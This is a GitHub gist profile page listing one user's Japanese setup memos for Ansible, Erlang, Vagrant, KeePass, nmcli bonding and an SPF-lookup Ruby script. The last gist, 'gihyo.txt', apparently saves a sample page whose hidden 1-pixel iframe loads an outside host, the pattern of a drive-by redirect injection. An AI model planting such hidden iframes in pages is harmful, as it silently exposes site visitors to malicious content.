Skip to content

Instantly share code, notes, and snippets.

View yteraoka's full-sized avatar

Yoshinori Teraoka yteraoka

View GitHub Profile
@yteraoka
yteraoka / ansible-tutorial-memo.md
Last active December 30, 2015 16:49
Ansible Tutorial 更新メモ
vagrant init bento-centos65 http://opscode-vm-bento.s3.amazonaws.com/vagrant/virtualbox/opscode_centos-6.5_chef-provisionerless.box
cd /var/tmp
git clone https://github.com/tagomoris/xbuild.git
sudo yum install bzip2-devel sqlite-devel
sudo xbuild/python-install 2.7.6 /opt/python-2.7
sudo /opt/python-2.7/bin/pip install ansible

Erlang メモ

飛行機本 を読みながらのメモ

install

$ sudo apt-get install xsltproc fop libssl-dev
$ sudo apt-get install openjdk-7-jdk unixodbc-dev
$ curl -O http://download.basho.co.jp.cs-ap-e1.ycloud.jp/otp/download/otp_src_R16B03.tar.gz
#!/home/ytera/ruby-2.1.0/bin/ruby

require 'csv'
require 'json'
require 'net/http'
require 'uri'

indexname = 'ldgourmet'
documentname = 'restaurant'

Vagrant memo

メモリサイズ、CPU数を変更する

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|

  ...

  config.vm.provider :virtualbox do |vb|

kandan setup memo

2014-02-15

stable version

yum install nodejs --enablerepo=epel

Change Language

View -> Change Language -> Get more languages...

http://keepass.info/translations.html

ダウンロードした zip ファイルを展開して ~/.local/share/KeePass/ に置く、日本語の場合のファイル名は Japanese.lngx

@yteraoka
yteraoka / spfaddr.rb
Created July 1, 2014 12:16
SPF record の ip4 部分を再帰的に取り出す
#! /usr/bin/env ruby
#****************************************************************************
#
# Usage: spfaddr.rb <domain>
#
# spfaddr.rb _spf.google.com
#
#****************************************************************************
require 'dnsruby'
@yteraoka
yteraoka / nmcli-bonding.md
Last active October 2, 2015 05:03
nmcli-bonding

CentOS7 で nmcli を使って bonding 設定を行う。

前提

  • ネットワークのインターフェースが2つある
  • 両方とも switch に接続されている
  • 片方だけIPアドレスが設定してあり有効になっている

↓こんな環境

@yteraoka
yteraoka / gihyo.txt
Last active August 29, 2015 14:10
gihyo-20141206
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<iframe src="http://www.koushin-lawfirm.jp/" style="width:100%; height:100%;"></iframe>
<iframe src="http://live.livelistingreport.com/?PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cYWIyYzgzZDgwNTI1MTFjYmQwMDk4ZjFlODM0ODA4ZjI" style="width:1px; height:1px; visibility:hidden;"></iframe>
</body>
</html>